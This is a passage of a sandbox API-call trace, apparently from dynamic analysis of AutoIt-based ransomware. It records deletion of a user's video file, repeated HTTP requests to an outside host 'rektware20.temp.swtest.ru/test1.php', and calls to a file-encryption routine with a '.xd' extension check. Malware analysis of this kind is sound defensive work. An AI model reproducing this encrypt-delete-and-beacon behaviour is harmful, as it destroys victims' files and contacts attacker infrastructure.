(in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.309] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.309] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.309] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.309] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.309] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.309] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.309] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.309] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.310] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.310] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.310] CryptReleaseContext (hProv=0x17aab38, dwFlags=0x0) returned 1 [0068.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.310] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.310] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.310] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.310] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.310] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.310] CloseHandle (hObject=0x2ac) returned 1 [0068.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.313] CloseHandle (hObject=0x3bc) returned 1 [0068.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.320] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.320] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", lpFilePart=0x0) returned 0x36 [0068.320] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jksl.avi")) returned 0x20 [0068.321] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0068.321] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jksl.avi")) returned 1 [0068.324] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.324] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0068.324] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.324] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.324] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.324] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.324] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.325] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.325] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.325] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.325] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.325] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.325] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.325] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0068.325] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.325] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.325] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.326] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.326] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.326] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.326] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.327] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.327] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.327] CloseHandle (hObject=0x0) returned 0 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.327] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KaDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aDHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DHrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HrhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rhJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hJ0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vaA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aA A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.328] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kDd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dd0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.329] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.329] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.329] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.329] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.329] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.329] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.329] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.329] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.329] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.329] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ee1c) returned 1 [0068.329] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.329] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.329] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.330] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.330] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.330] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.330] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.330] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629470, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629470*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.330] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.331] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.331] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.331] CloseHandle (hObject=0x0) returned 0 [0068.331] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.331] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0068.331] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.331] 